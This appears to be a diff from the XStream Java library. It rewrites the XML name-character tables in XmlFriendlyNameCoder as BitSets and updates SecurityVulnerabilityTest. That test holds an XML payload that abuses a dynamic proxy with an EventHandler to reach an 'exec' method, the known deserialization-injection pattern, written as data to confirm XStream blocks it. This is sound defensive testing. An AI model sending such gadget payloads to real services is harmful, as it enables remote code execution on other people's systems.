63 // http://www.w3.org/TR/xml11/#NT-Name
64 IntPairList list = new IntPairList();
65
66 list.add(':');
67 list.add('A', 'Z');
68 list.add('a', 'z');
69 list.add('_');
70
71 list.add(0xC0, 0xD6);
72 list.add(0xD8, 0xF6);
73 list.add(0xF8, 0x2FF);
74 list.add(0x370, 0x37D);
75 list.add(0x37F, 0x1FFF);
76 list.add(0x200C, 0x200D);
77 list.add(0x2070, 0x218F);
78 list.add(0x2C00, 0x2FEF);
79 list.add(0x3001, 0xD7FF);
80 list.add(0xF900, 0xFDCF);
81 list.add(0xFDF0, 0xFFFD);
82 list.add(0x10000, 0xEFFFF);
83 XML_NAME_START_CHAR_BOUNDS = (IntPair[])list.toArray(new IntPair[list.size()]);
84
85 list.clear();
86 list.add('-');
87 list.add('.');
88 list.add('0', '9');
89 list.add('\u00b7');
90 list.add(0x0300, 0x036F);
91 list.add(0x203F, 0x2040);
92 XML_NAME_CHAR_EXTRA_BOUNDS = (IntPair[])list.toArray(new IntPair[list.size()]);
55 final BitSet XML_NAME_START_CHARS_4TH = new BitSet(0xFFFFF);
56 XML_NAME_START_CHARS_4TH.set(':');
57 XML_NAME_START_CHARS_4TH.set('_');
58 XML_NAME_START_CHARS_4TH.set('A', 'Z' + 1);
59 XML_NAME_START_CHARS_4TH.set('a', 'z' + 1);
60 XML_NAME_START_CHARS_4TH.set(0xC0, 0xD6 + 1);
61 XML_NAME_START_CHARS_4TH.set(0xD8, 0xF6 + 1);
62
63 final BitSet XML_NAME_START_CHARS_5TH = (BitSet)XML_NAME_START_CHARS_4TH.clone();
64
65 XML_NAME_START_CHARS_4TH.set(0xF8, 0x131 + 1);
66 XML_NAME_START_CHARS_4TH.set(0x134, 0x13E + 1);
67 XML_NAME_START_CHARS_4TH.set(0x141, 0x148 + 1);
68 XML_NAME_START_CHARS_4TH.set(0x14A, 0x17E + 1);
69 XML_NAME_START_CHARS_4TH.set(0x180, 0x1C3 + 1);
70 XML_NAME_START_CHARS_4TH.set(0x1CD, 0x1F0 + 1);
71 XML_NAME_START_CHARS_4TH.set(0x1CD, 0x1F0 + 1);
72 XML_NAME_START_CHARS_4TH.set(0x1F4, 0x1F5 + 1);
73 XML_NAME_START_CHARS_4TH.set(0x1FA, 0x217 + 1);
74 XML_NAME_START_CHARS_4TH.set(0x250, 0x2A8 + 1);
75 XML_NAME_START_CHARS_4TH.set(0x2BB, 0x2C1 + 1);
76 XML_NAME_START_CHARS_4TH.set(0x386);
77 XML_NAME_START_CHARS_4TH.set(0x388, 0x38A + 1);
78 XML_NAME_START_CHARS_4TH.set(0x38C);
79 XML_NAME_START_CHARS_4TH.set(0x38E, 0x3A1 + 1);
80 XML_NAME_START_CHARS_4TH.set(0x3A3, 0x3CE + 1);
81 XML_NAME_START_CHARS_4TH.set(0x3D0, 0x3D6 + 1);
82 XML_NAME_START_CHARS_4TH.set(0x3DA);
83 XML_NAME_START_CHARS_4TH.set(0x3DC);
84 XML_NAME_START_CHARS_4TH.set(0x3DE);
85 XML_NAME_START_CHARS_4TH.set(0x3E0);
86 XML_NAME_START_CHARS_4TH.set(0x3E2, 0x3F3 + 1);
87 XML_NAME_START_CHARS_4TH.set(0x401, 0x40C + 1);
88 XML_NAME_START_CHARS_4TH.set(0x40E, 0x44F + 1);
89 XML_NAME_START_CHARS_4TH.set(0x451, 0x45C + 1);
90 XML_NAME_START_CHARS_4TH.set(0x45E, 0x481 + 1);
91 XML_NAME_START_CHARS_4TH.set(0x490, 0x4C4 + 1);
92 XML_NAME_START_CHARS_4TH.set(0x4C7, 0x4C8 + 1);
93 XML_NAME_START_CHARS_4TH.set(0x4CB, 0x4CC + 1);
94 XML_NAME_START_CHARS_4TH.set(0x4D0, 0x4EB + 1);
95 XML_NAME_START_CHARS_4TH.set(0x4EE, 0x4F5 + 1);
96 XML_NAME_START_CHARS_4TH.set(0x4F8, 0x4F9 + 1);
97 XML_NAME_START_CHARS_4TH.set(0x531, 0x556 + 1);
98 XML_NAME_START_CHARS_4TH.set(0x559);
99 XML_NAME_START_CHARS_4TH.set(0x561, 0x586 + 1);
100 XML_NAME_START_CHARS_4TH.set(0x5D0, 0x5EA + 1);
101 XML_NAME_START_CHARS_4TH.set(0x5F0, 0x5F2 + 1);
102 XML_NAME_START_CHARS_4TH.set(0x621, 0x63A + 1);
103 XML_NAME_START_CHARS_4TH.set(0x641, 0x64A + 1);
104 XML_NAME_START_CHARS_4TH.set(0x671, 0x6B7 + 1);
105 XML_NAME_START_CHARS_4TH.set(0x6BA, 0x6BE + 1);
106 XML_NAME_START_CHARS_4TH.set(0x6C0, 0x6CE + 1);
107 XML_NAME_START_CHARS_4TH.set(0x6D0, 0x6D3 + 1);
108 XML_NAME_START_CHARS_4TH.set(0x6D5);
109 XML_NAME_START_CHARS_4TH.set(0x6E5, 0x6E6 + 1);
110 XML_NAME_START_CHARS_4TH.set(0x905, 0x939 + 1);
111 XML_NAME_START_CHARS_4TH.set(0x93D);
112 XML_NAME_START_CHARS_4TH.set(0x958, 0x961 + 1);
113 XML_NAME_START_CHARS_4TH.set(0x985, 0x98C + 1);
114 XML_NAME_START_CHARS_4TH.set(0x98F, 0x990 + 1);
115 XML_NAME_START_CHARS_4TH.set(0x993, 0x9A8 + 1);
116 XML_NAME_START_CHARS_4TH.set(0x9AA, 0x9B0 + 1);
117 XML_NAME_START_CHARS_4TH.set(0x9B2);
118 XML_NAME_START_CHARS_4TH.set(0x9B6, 0x9B9 + 1);
119 XML_NAME_START_CHARS_4TH.set(0x9DC, 0x9DD + 1);
120 XML_NAME_START_CHARS_4TH.set(0x9DF, 0x9E1 + 1);
121 XML_NAME_START_CHARS_4TH.set(0x9F0, 0x9F1 + 1);
122 XML_NAME_START_CHARS_4TH.set(0xA05, 0xA0A + 1);
123 XML_NAME_START_CHARS_4TH.set(0xA0F, 0xA10 + 1);
124 XML_NAME_START_CHARS_4TH.set(0xA13, 0xA28 + 1);
125 XML_NAME_START_CHARS_4TH.set(0xA2A, 0xA30 + 1);
126 XML_NAME_START_CHARS_4TH.set(0xA32, 0xA33 + 1);
127 XML_NAME_START_CHARS_4TH.set(0xA35, 0xA36 + 1);
128 XML_NAME_START_CHARS_4TH.set(0xA38, 0xA39 + 1);
129 XML_NAME_START_CHARS_4TH.set(0xA59, 0xA5C + 1);
130 XML_NAME_START_CHARS_4TH.set(0xA5E);
131 XML_NAME_START_CHARS_4TH.set(0xA72, 0xA74 + 1);
132 XML_NAME_START_CHARS_4TH.set(0xA85, 0xA8B + 1);
133 XML_NAME_START_CHARS_4TH.set(0xA8D);
134 XML_NAME_START_CHARS_4TH.set(0xA8F, 0xA91 + 1);
135 XML_NAME_START_CHARS_4TH.set(0xA93, 0xAA8 + 1);
136 XML_NAME_START_CHARS_4TH.set(0xAAA, 0xAB0 + 1);
137 XML_NAME_START_CHARS_4TH.set(0xAB2, 0xAB3 + 1);
138 XML_NAME_START_CHARS_4TH.set(0xAB5, 0xAB9 + 1);
139 XML_NAME_START_CHARS_4TH.set(0xABD);
140 XML_NAME_START_CHARS_4TH.set(0xAE0);
141 XML_NAME_START_CHARS_4TH.set(0xB05, 0xB0C + 1);
142 XML_NAME_START_CHARS_4TH.set(0xB0F, 0xB10 + 1);
143 XML_NAME_START_CHARS_4TH.set(0xB13, 0xB28 + 1);
144 XML_NAME_START_CHARS_4TH.set(0xB2A, 0xB30 + 1);
145 XML_NAME_START_CHARS_4TH.set(0xB32, 0xB33 + 1);
146 XML_NAME_START_CHARS_4TH.set(0xB36, 0xB39 + 1);
147 XML_NAME_START_CHARS_4TH.set(0xB3D);
148 XML_NAME_START_CHARS_4TH.set(0xB5C, 0xB5D + 1);
149 XML_NAME_START_CHARS_4TH.set(0xB5F, 0xB61 + 1);
150 XML_NAME_START_CHARS_4TH.set(0xB85, 0xB8A + 1);
151 XML_NAME_START_CHARS_4TH.set(0xB8E, 0xB90 + 1);
152 XML_NAME_START_CHARS_4TH.set(0xB92, 0xB95 + 1);
153 XML_NAME_START_CHARS_4TH.set(0xB99, 0xB9A + 1);
154 XML_NAME_START_CHARS_4TH.set(0xB9C);
155 XML_NAME_START_CHARS_4TH.set(0xB9E, 0xB9F + 1);
156 XML_NAME_START_CHARS_4TH.set(0xBA3, 0xBA4 + 1);
157 XML_NAME_START_CHARS_4TH.set(0xBA8, 0xBAA + 1);
158 XML_NAME_START_CHARS_4TH.set(0xBAE, 0xBB5 + 1);
159 XML_NAME_START_CHARS_4TH.set(0xBB7, 0xBB9 + 1);
160 XML_NAME_START_CHARS_4TH.set(0xC05, 0xC0C + 1);
161 XML_NAME_START_CHARS_4TH.set(0xC0E, 0xC10 + 1);
162 XML_NAME_START_CHARS_4TH.set(0xC12, 0xC28 + 1);
163 XML_NAME_START_CHARS_4TH.set(0xC2A, 0xC33 + 1);
164 XML_NAME_START_CHARS_4TH.set(0xC35, 0xC39 + 1);
165 XML_NAME_START_CHARS_4TH.set(0xC60, 0xC61 + 1);
166 XML_NAME_START_CHARS_4TH.set(0xC85, 0xC8C + 1);
167 XML_NAME_START_CHARS_4TH.set(0xC8E, 0xC90 + 1);
168 XML_NAME_START_CHARS_4TH.set(0xC92, 0xCA8 + 1);
169 XML_NAME_START_CHARS_4TH.set(0xCAA, 0xCB3 + 1);
170 XML_NAME_START_CHARS_4TH.set(0xCB5, 0xCB9 + 1);
171 XML_NAME_START_CHARS_4TH.set(0xCDE);
172 XML_NAME_START_CHARS_4TH.set(0xCE0, 0xCE1 + 1);
173 XML_NAME_START_CHARS_4TH.set(0xD05, 0xD0C + 1);
174 XML_NAME_START_CHARS_4TH.set(0xD0E, 0xD10 + 1);
175 XML_NAME_START_CHARS_4TH.set(0xD12, 0xD28 + 1);
176 XML_NAME_START_CHARS_4TH.set(0xD2A, 0xD39 + 1);
177 XML_NAME_START_CHARS_4TH.set(0xD60, 0xD61 + 1);
178 XML_NAME_START_CHARS_4TH.set(0xE01, 0xE2E + 1);
179 XML_NAME_START_CHARS_4TH.set(0xE30);
180 XML_NAME_START_CHARS_4TH.set(0xE32, 0xE33 + 1);
181 XML_NAME_START_CHARS_4TH.set(0xE40, 0xE45 + 1);
182 XML_NAME_START_CHARS_4TH.set(0xE81, 0xE82 + 1);
183 XML_NAME_START_CHARS_4TH.set(0xE84);
184 XML_NAME_START_CHARS_4TH.set(0xE87, 0xE88 + 1);
185 XML_NAME_START_CHARS_4TH.set(0xE8A);
186 XML_NAME_START_CHARS_4TH.set(0xE8D);
187 XML_NAME_START_CHARS_4TH.set(0xE94, 0xE97 + 1);
188 XML_NAME_START_CHARS_4TH.set(0xE99, 0xE9F + 1);
189 XML_NAME_START_CHARS_4TH.set(0xEA1, 0xEA3 + 1);
190 XML_NAME_START_CHARS_4TH.set(0xEA5);
191 XML_NAME_START_CHARS_4TH.set(0xEA7);
192 XML_NAME_START_CHARS_4TH.set(0xEAA, 0xEAB + 1);
193 XML_NAME_START_CHARS_4TH.set(0xEAD, 0xEAE + 1);
194 XML_NAME_START_CHARS_4TH.set(0xEB0);
195 XML_NAME_START_CHARS_4TH.set(0xEB2, 0xEB3 + 1);
196 XML_NAME_START_CHARS_4TH.set(0xEBD);
197 XML_NAME_START_CHARS_4TH.set(0xEC0, 0xEC4 + 1);
198 XML_NAME_START_CHARS_4TH.set(0xF40, 0xF47 + 1);
199 XML_NAME_START_CHARS_4TH.set(0xF49, 0xF69 + 1);
200 XML_NAME_START_CHARS_4TH.set(0x10A0, 0x10C5 + 1);
201 XML_NAME_START_CHARS_4TH.set(0x10D0, 0x10F6 + 1);
202 XML_NAME_START_CHARS_4TH.set(0x1100);
203 XML_NAME_START_CHARS_4TH.set(0x1102, 0x1103 + 1);
204 XML_NAME_START_CHARS_4TH.set(0x1105, 0x1107 + 1);
205 XML_NAME_START_CHARS_4TH.set(0x1109);
206 XML_NAME_START_CHARS_4TH.set(0x110B, 0x110C + 1);
207 XML_NAME_START_CHARS_4TH.set(0x110E, 0x1112 + 1);
208 XML_NAME_START_CHARS_4TH.set(0x113C);
209 XML_NAME_START_CHARS_4TH.set(0x113E);
210 XML_NAME_START_CHARS_4TH.set(0x1140);
211 XML_NAME_START_CHARS_4TH.set(0x114C);
212 XML_NAME_START_CHARS_4TH.set(0x114E);
213 XML_NAME_START_CHARS_4TH.set(0x1150);
214 XML_NAME_START_CHARS_4TH.set(0x1154, 0x1155 + 1);
215 XML_NAME_START_CHARS_4TH.set(0x1159);
216 XML_NAME_START_CHARS_4TH.set(0x115F, 0x1161 + 1);
217 XML_NAME_START_CHARS_4TH.set(0x1163);
218 XML_NAME_START_CHARS_4TH.set(0x1165);
219 XML_NAME_START_CHARS_4TH.set(0x1167);
220 XML_NAME_START_CHARS_4TH.set(0x1169);
221 XML_NAME_START_CHARS_4TH.set(0x116D, 0x116E + 1);
222 XML_NAME_START_CHARS_4TH.set(0x1172, 0x1173 + 1);
223 XML_NAME_START_CHARS_4TH.set(0x1175);
224 XML_NAME_START_CHARS_4TH.set(0x119E);
225 XML_NAME_START_CHARS_4TH.set(0x11A8);
226 XML_NAME_START_CHARS_4TH.set(0x11AB);
227 XML_NAME_START_CHARS_4TH.set(0x11AE, 0x11AF + 1);
228 XML_NAME_START_CHARS_4TH.set(0x11B7, 0x11B8 + 1);
229 XML_NAME_START_CHARS_4TH.set(0x11BA);
230 XML_NAME_START_CHARS_4TH.set(0x11BC, 0x11C2 + 1);
231 XML_NAME_START_CHARS_4TH.set(0x11EB);
232 XML_NAME_START_CHARS_4TH.set(0x11F0);
233 XML_NAME_START_CHARS_4TH.set(0x11F9);
234 XML_NAME_START_CHARS_4TH.set(0x1E00, 0x1E9B + 1);
235 XML_NAME_START_CHARS_4TH.set(0x1EA0, 0x1EF9 + 1);
236 XML_NAME_START_CHARS_4TH.set(0x1F00, 0x1F15 + 1);
237 XML_NAME_START_CHARS_4TH.set(0x1F18, 0x1F1D + 1);
238 XML_NAME_START_CHARS_4TH.set(0x1F20, 0x1F45 + 1);
239 XML_NAME_START_CHARS_4TH.set(0x1F48, 0x1F4D + 1);
240 XML_NAME_START_CHARS_4TH.set(0x1F50, 0x1F57 + 1);
241 XML_NAME_START_CHARS_4TH.set(0x1F59);
242 XML_NAME_START_CHARS_4TH.set(0x1F5B);
243 XML_NAME_START_CHARS_4TH.set(0x1F5D);
244 XML_NAME_START_CHARS_4TH.set(0x1F5F, 0x1F7D + 1);
245 XML_NAME_START_CHARS_4TH.set(0x1F80, 0x1FB4 + 1);
246 XML_NAME_START_CHARS_4TH.set(0x1FB6, 0x1FBC + 1);
247 XML_NAME_START_CHARS_4TH.set(0x1FBE);
248 XML_NAME_START_CHARS_4TH.set(0x1FC2, 0x1FC4 + 1);
249 XML_NAME_START_CHARS_4TH.set(0x1FC6, 0x1FCC + 1);
250 XML_NAME_START_CHARS_4TH.set(0x1FD0, 0x1FD3 + 1);
251 XML_NAME_START_CHARS_4TH.set(0x1FD6, 0x1FDB + 1);
252 XML_NAME_START_CHARS_4TH.set(0x1FE0, 0x1FEC + 1);
253 XML_NAME_START_CHARS_4TH.set(0x1FF2, 0x1FF4 + 1);
254 XML_NAME_START_CHARS_4TH.set(0x1FF6, 0x1FFC + 1);
255 XML_NAME_START_CHARS_4TH.set(0x2126);
256 XML_NAME_START_CHARS_4TH.set(0x212A, 0x212B + 1);
257 XML_NAME_START_CHARS_4TH.set(0x212E);
258 XML_NAME_START_CHARS_4TH.set(0x2180, 0x2182 + 1);
259 XML_NAME_START_CHARS_4TH.set(0x3041, 0x3094 + 1);
260 XML_NAME_START_CHARS_4TH.set(0x30A1, 0x30FA + 1);
261 XML_NAME_START_CHARS_4TH.set(0x3105, 0x312C + 1);
262 XML_NAME_START_CHARS_4TH.set(0x3007);
263 XML_NAME_START_CHARS_4TH.set(0x3021, 0x3029 + 1);
264 XML_NAME_START_CHARS_4TH.set(0x4E00, 0x9FA5 + 1);
265 XML_NAME_START_CHARS_4TH.set(0xAC00, 0xD7A3 + 1);
266
267 XML_NAME_START_CHARS_5TH.set(0xF8, 0x2FF + 1);
268 XML_NAME_START_CHARS_5TH.set(0x370, 0x37D + 1);
269 XML_NAME_START_CHARS_5TH.set(0x37F, 0x1FFF + 1);
270 XML_NAME_START_CHARS_5TH.set(0x200C, 0x200D + 1);
271 XML_NAME_START_CHARS_5TH.set(0x2070, 0x218F + 1);
272 XML_NAME_START_CHARS_5TH.set(0x2C00, 0x2FEF + 1);
273 XML_NAME_START_CHARS_5TH.set(0x3001, 0xD7FF + 1);
274 XML_NAME_START_CHARS_5TH.set(0xF900, 0xFDCF + 1);
275 XML_NAME_START_CHARS_5TH.set(0xFDF0, 0xFFFD + 1);
276 XML_NAME_START_CHARS_5TH.set(0x10000, 0xEFFFF + 1);
277
278 final BitSet XML_NAME_CHARS_4TH = new BitSet(0xFFFFF);
279 XML_NAME_CHARS_4TH.set('-');
280 XML_NAME_CHARS_4TH.set('.');
281 XML_NAME_CHARS_4TH.set('0', '9');
282 XML_NAME_CHARS_4TH.set(0xB7);
283
284 final BitSet XML_NAME_CHARS_5TH = (BitSet)XML_NAME_CHARS_4TH.clone();
285
286 XML_NAME_CHARS_4TH.or(XML_NAME_START_CHARS_4TH);
287 XML_NAME_CHARS_4TH.set(0x2D0);
288 XML_NAME_CHARS_4TH.set(0x2D1);
289 XML_NAME_CHARS_4TH.set(0x300, 0x345 + 1);
290 XML_NAME_CHARS_4TH.set(0x360, 0x361 + 1);
291 XML_NAME_CHARS_4TH.set(0x387);
292 XML_NAME_CHARS_4TH.set(0x483, 0x486 + 1);
293 XML_NAME_CHARS_4TH.set(0x591, 0x5A1 + 1);
294 XML_NAME_CHARS_4TH.set(0x5A3, 0x5B9 + 1);
295 XML_NAME_CHARS_4TH.set(0x5BB, 0x5BD + 1);
296 XML_NAME_CHARS_4TH.set(0x5BF);
297 XML_NAME_CHARS_4TH.set(0x5C1, 0x5C2 + 1);
298 XML_NAME_CHARS_4TH.set(0x5C4);
299 XML_NAME_CHARS_4TH.set(0x640);
300 XML_NAME_CHARS_4TH.set(0x64B, 0x652 + 1);
301 XML_NAME_CHARS_4TH.set(0x660, 0x669 + 1);
302 XML_NAME_CHARS_4TH.set(0x670);
303 XML_NAME_CHARS_4TH.set(0x6D6, 0x6DC + 1);
304 XML_NAME_CHARS_4TH.set(0x6DD, 0x6DF + 1);
305 XML_NAME_CHARS_4TH.set(0x6E0, 0x6E4 + 1);
306 XML_NAME_CHARS_4TH.set(0x6E7, 0x6E8 + 1);
307 XML_NAME_CHARS_4TH.set(0x6EA, 0x6ED + 1);
308 XML_NAME_CHARS_4TH.set(0x6F0, 0x6F9 + 1);
309 XML_NAME_CHARS_4TH.set(0x901, 0x903 + 1);
310 XML_NAME_CHARS_4TH.set(0x93C);
311 XML_NAME_CHARS_4TH.set(0x93E, 0x94C + 1);
312 XML_NAME_CHARS_4TH.set(0x94D);
313 XML_NAME_CHARS_4TH.set(0x951, 0x954 + 1);
314 XML_NAME_CHARS_4TH.set(0x962, 0x963 + 1);
315 XML_NAME_CHARS_4TH.set(0x966, 0x96F + 1);
316 XML_NAME_CHARS_4TH.set(0x981, 0x983 + 1);
317 XML_NAME_CHARS_4TH.set(0x9BC);
318 XML_NAME_CHARS_4TH.set(0x9BE);
319 XML_NAME_CHARS_4TH.set(0x9BF);
320 XML_NAME_CHARS_4TH.set(0x9C0, 0x9C4 + 1);
321 XML_NAME_CHARS_4TH.set(0x9C7, 0x9C8 + 1);
322 XML_NAME_CHARS_4TH.set(0x9CB, 0x9CD + 1);
323 XML_NAME_CHARS_4TH.set(0x9D7);
324 XML_NAME_CHARS_4TH.set(0x9E2, 0x9E3 + 1);
325 XML_NAME_CHARS_4TH.set(0x9E6, 0x9EF + 1);
326 XML_NAME_CHARS_4TH.set(0xA02);
327 XML_NAME_CHARS_4TH.set(0xA3C);
328 XML_NAME_CHARS_4TH.set(0xA3E);
329 XML_NAME_CHARS_4TH.set(0xA3F);
330 XML_NAME_CHARS_4TH.set(0xA40, 0xA42 + 1);
331 XML_NAME_CHARS_4TH.set(0xA47, 0xA48 + 1);
332 XML_NAME_CHARS_4TH.set(0xA4B, 0xA4D + 1);
333 XML_NAME_CHARS_4TH.set(0xA66, 0xA6F + 1);
334 XML_NAME_CHARS_4TH.set(0xA70, 0xA71 + 1);
335 XML_NAME_CHARS_4TH.set(0xA81, 0xA83 + 1);
336 XML_NAME_CHARS_4TH.set(0xABC);
337 XML_NAME_CHARS_4TH.set(0xABE, 0xAC5 + 1);
338 XML_NAME_CHARS_4TH.set(0xAC7, 0xAC9 + 1);
339 XML_NAME_CHARS_4TH.set(0xACB, 0xACD + 1);
340 XML_NAME_CHARS_4TH.set(0xAE6, 0xAEF + 1);
341 XML_NAME_CHARS_4TH.set(0xB01, 0xB03 + 1);
342 XML_NAME_CHARS_4TH.set(0xB3C);
343 XML_NAME_CHARS_4TH.set(0xB3E, 0xB43 + 1);
344 XML_NAME_CHARS_4TH.set(0xB47, 0xB48 + 1);
345 XML_NAME_CHARS_4TH.set(0xB4B, 0xB4D + 1);
346 XML_NAME_CHARS_4TH.set(0xB56, 0xB57 + 1);
347 XML_NAME_CHARS_4TH.set(0xB66, 0xB6F + 1);
348 XML_NAME_CHARS_4TH.set(0xB82, 0xB83 + 1);
349 XML_NAME_CHARS_4TH.set(0xBBE, 0xBC2 + 1);
350 XML_NAME_CHARS_4TH.set(0xBC6, 0xBC8 + 1);
351 XML_NAME_CHARS_4TH.set(0xBCA, 0xBCD + 1);
352 XML_NAME_CHARS_4TH.set(0xBD7);
353 XML_NAME_CHARS_4TH.set(0xBE7, 0xBEF + 1);
354 XML_NAME_CHARS_4TH.set(0xC01, 0xC03 + 1);
355 XML_NAME_CHARS_4TH.set(0xC3E, 0xC44 + 1);
356 XML_NAME_CHARS_4TH.set(0xC46, 0xC48 + 1);
357 XML_NAME_CHARS_4TH.set(0xC4A, 0xC4D + 1);
358 XML_NAME_CHARS_4TH.set(0xC55, 0xC56 + 1);
359 XML_NAME_CHARS_4TH.set(0xC66, 0xC6F + 1);
360 XML_NAME_CHARS_4TH.set(0xC82, 0xC83 + 1);
361 XML_NAME_CHARS_4TH.set(0xCBE, 0xCC4 + 1);
362 XML_NAME_CHARS_4TH.set(0xCC6, 0xCC8 + 1);
363 XML_NAME_CHARS_4TH.set(0xCCA, 0xCCD + 1);
364 XML_NAME_CHARS_4TH.set(0xCD5, 0xCD6 + 1);
365 XML_NAME_CHARS_4TH.set(0xCE6, 0xCEF + 1);
366 XML_NAME_CHARS_4TH.set(0xD02, 0xD03 + 1);
367 XML_NAME_CHARS_4TH.set(0xD3E, 0xD43 + 1);
368 XML_NAME_CHARS_4TH.set(0xD46, 0xD48 + 1);
369 XML_NAME_CHARS_4TH.set(0xD4A, 0xD4D + 1);
370 XML_NAME_CHARS_4TH.set(0xD57);
371 XML_NAME_CHARS_4TH.set(0xD66, 0xD6F + 1);
372 XML_NAME_CHARS_4TH.set(0xE31);
373 XML_NAME_CHARS_4TH.set(0xE34, 0xE3A + 1);
374 XML_NAME_CHARS_4TH.set(0xE46);
375 XML_NAME_CHARS_4TH.set(0xE47, 0xE4E + 1);
376 XML_NAME_CHARS_4TH.set(0xE50, 0xE59 + 1);
377 XML_NAME_CHARS_4TH.set(0xEB1);
378 XML_NAME_CHARS_4TH.set(0xEB4, 0xEB9 + 1);
379 XML_NAME_CHARS_4TH.set(0xEBB, 0xEBC + 1);
380 XML_NAME_CHARS_4TH.set(0xEC6);
381 XML_NAME_CHARS_4TH.set(0xEC8, 0xECD + 1);
382 XML_NAME_CHARS_4TH.set(0xED0, 0xED9 + 1);
383 XML_NAME_CHARS_4TH.set(0xF18, 0xF19 + 1);
384 XML_NAME_CHARS_4TH.set(0xF20, 0xF29 + 1);
385 XML_NAME_CHARS_4TH.set(0xF35);
386 XML_NAME_CHARS_4TH.set(0xF37);
387 XML_NAME_CHARS_4TH.set(0xF39);
388 XML_NAME_CHARS_4TH.set(0xF3E);
389 XML_NAME_CHARS_4TH.set(0xF3F);
390 XML_NAME_CHARS_4TH.set(0xF71, 0xF84 + 1);
391 XML_NAME_CHARS_4TH.set(0xF86, 0xF8B + 1);
392 XML_NAME_CHARS_4TH.set(0xF90, 0xF95 + 1);
393 XML_NAME_CHARS_4TH.set(0xF97);
394 XML_NAME_CHARS_4TH.set(0xF99, 0xFAD + 1);
395 XML_NAME_CHARS_4TH.set(0xFB1, 0xFB7 + 1);
396 XML_NAME_CHARS_4TH.set(0xFB9);
397 XML_NAME_CHARS_4TH.set(0x20D0, 0x20DC + 1);
398 XML_NAME_CHARS_4TH.set(0x20E1);
399 XML_NAME_CHARS_4TH.set(0x3005);
400 XML_NAME_CHARS_4TH.set(0x302A, 0x302F + 1);
401 XML_NAME_CHARS_4TH.set(0x3031, 0x3035 + 1);
402 XML_NAME_CHARS_4TH.set(0x3099);
403 XML_NAME_CHARS_4TH.set(0x309A);
404 XML_NAME_CHARS_4TH.set(0x309D, 0x309E + 1);
405 XML_NAME_CHARS_4TH.set(0x30FC, 0x30FE + 1);
406
407 XML_NAME_CHARS_5TH.or(XML_NAME_START_CHARS_5TH);
408 XML_NAME_CHARS_5TH.set(0x300, 0x36F);
409 XML_NAME_CHARS_5TH.set(0x203F, 0x2040);
410
411 XML_NAME_START_CHARS = (BitSet)XML_NAME_START_CHARS_4TH.clone();
412 XML_NAME_START_CHARS.and(XML_NAME_START_CHARS_5TH);
413 XML_NAME_CHARS = (BitSet)XML_NAME_CHARS_4TH.clone();
414 XML_NAME_CHARS.and(XML_NAME_CHARS_5TH);
93415 }
94416
95417 private final String dollarReplacement;
100422
101423 /**
102424 * Construct a new XmlFriendlyNameCoder.
103 *
425 *
104426 * @since 1.4
105427 */
106428 public XmlFriendlyNameCoder() {
108430 }
109431
110432 /**
111 * Construct a new XmlFriendlyNameCoder with custom replacement strings for dollar and the
112 * escape character.
113 *
433 * Construct a new XmlFriendlyNameCoder with custom replacement strings for dollar and the escape character.
434 *
114435 * @param dollarReplacement
115436 * @param escapeCharReplacement
116437 * @since 1.4
120441 }
121442
122443 /**
123 * Construct a new XmlFriendlyNameCoder with custom replacement strings for dollar, the
124 * escape character and the prefix for hexadecimal encoding of invalid characters in XML
125 * names.
126 *
444 * Construct a new XmlFriendlyNameCoder with custom replacement strings for dollar, the escape character and the
445 * prefix for hexadecimal encoding of invalid characters in XML names.
446 *
127447 * @param dollarReplacement
128448 * @param escapeCharReplacement
129449 * @since 1.4
293613 return new HashMap();
294614 }
295615
296 private static class IntPair {
297 int min;
298 int max;
299
300 public IntPair(int min, int max) {
301 this.min = min;
302 this.max = max;
303 }
304 }
305
306 private static boolean isXmlNameStartChar(int cp) {
307 return isInNameCharBounds(cp, XML_NAME_START_CHAR_BOUNDS);
308 }
309
310 private static boolean isXmlNameChar(int cp) {
311 if (isXmlNameStartChar(cp)) {
312 return true;
313 }
314 return isInNameCharBounds(cp, XML_NAME_CHAR_EXTRA_BOUNDS);
315 }
316
317 private static boolean isInNameCharBounds(int cp, IntPair[] nameCharBounds) {
318 for (int i = 0; i < nameCharBounds.length; ++i) {
319 IntPair p = nameCharBounds[i];
320 if (cp >= p.min && cp <= p.max) {
321 return true;
322 }
323 }
324 return false;
616 private static boolean isXmlNameStartChar(final int cp) {
617 return XML_NAME_START_CHARS.get(cp);
618 }
619
620 private static boolean isXmlNameChar(final int cp) {
621 return XML_NAME_CHARS.get(cp);
325622 }
326623 }
00 /*
1 * Copyright (C) 2013, 2014, 2017, 2018 XStream Committers.
1 * Copyright (C) 2013, 2014, 2017, 2018, 2020 XStream Committers.
22 * All rights reserved.
33 *
44 * The software in this package is published under the terms of the BSD
1010 package com.thoughtworks.acceptance;
1111
1212 import java.beans.EventHandler;
13 import java.util.Iterator;
1314
1415 import com.thoughtworks.xstream.XStream;
1516 import com.thoughtworks.xstream.XStreamException;
1617 import com.thoughtworks.xstream.converters.ConversionException;
17 import com.thoughtworks.xstream.converters.reflection.ReflectionConverter;
18 import com.thoughtworks.xstream.core.JVM;
19 import com.thoughtworks.xstream.security.AnyTypePermission;
1820 import com.thoughtworks.xstream.security.ForbiddenClassException;
19 import com.thoughtworks.xstream.security.ProxyTypePermission;
2021
2122
2223 /**
3031 super.setUp();
3132 BUFFER.setLength(0);
3233 xstream.alias("runnable", Runnable.class);
33 xstream.allowTypeHierarchy(Runnable.class);
34 xstream.addPermission(ProxyTypePermission.PROXIES);
34 }
35
36 protected void setupSecurity(XStream xstream) {
3537 }
3638
3739 public void testCannotInjectEventHandler() {
3840 final String xml = ""
39 + "<string class='runnable-array'>\n"
40 + " <dynamic-proxy>\n"
41 + " <interface>java.lang.Runnable</interface>\n"
42 + " <handler class='java.beans.EventHandler'>\n"
43 + " <target class='com.thoughtworks.acceptance.SecurityVulnerabilityTest$Exec'/>\n"
44 + " <action>exec</action>\n"
45 + " </handler>\n"
46 + " </dynamic-proxy>\n"
47 + "</string>";
41 + "<string class='runnable-array'>\n"
42 + " <dynamic-proxy>\n"
43 + " <interface>java.lang.Runnable</interface>\n"
44 + " <handler class='java.beans.EventHandler'>\n"
45 + " <target class='com.thoughtworks.acceptance.SecurityVulnerabilityTest$Exec'/>\n"
46 + " <action>exec</action>\n"
47 + " </handler>\n"
48 + " </dynamic-proxy>\n"
49 + "</string>";
4850
4951 try {
5052 xstream.fromXML(xml);
5658 }
5759
5860 public void testCannotInjectEventHandlerWithUnconfiguredSecurityFramework() {
59 xstream = new XStream(createDriver());
6061 xstream.alias("runnable", Runnable.class);
6162 final String xml = ""
6263 + "<string class='runnable-array'>\n"
7374 xstream.fromXML(xml);
7475 fail("Thrown " + XStreamException.class.getName() + " expected");
7576 } catch (final XStreamException e) {
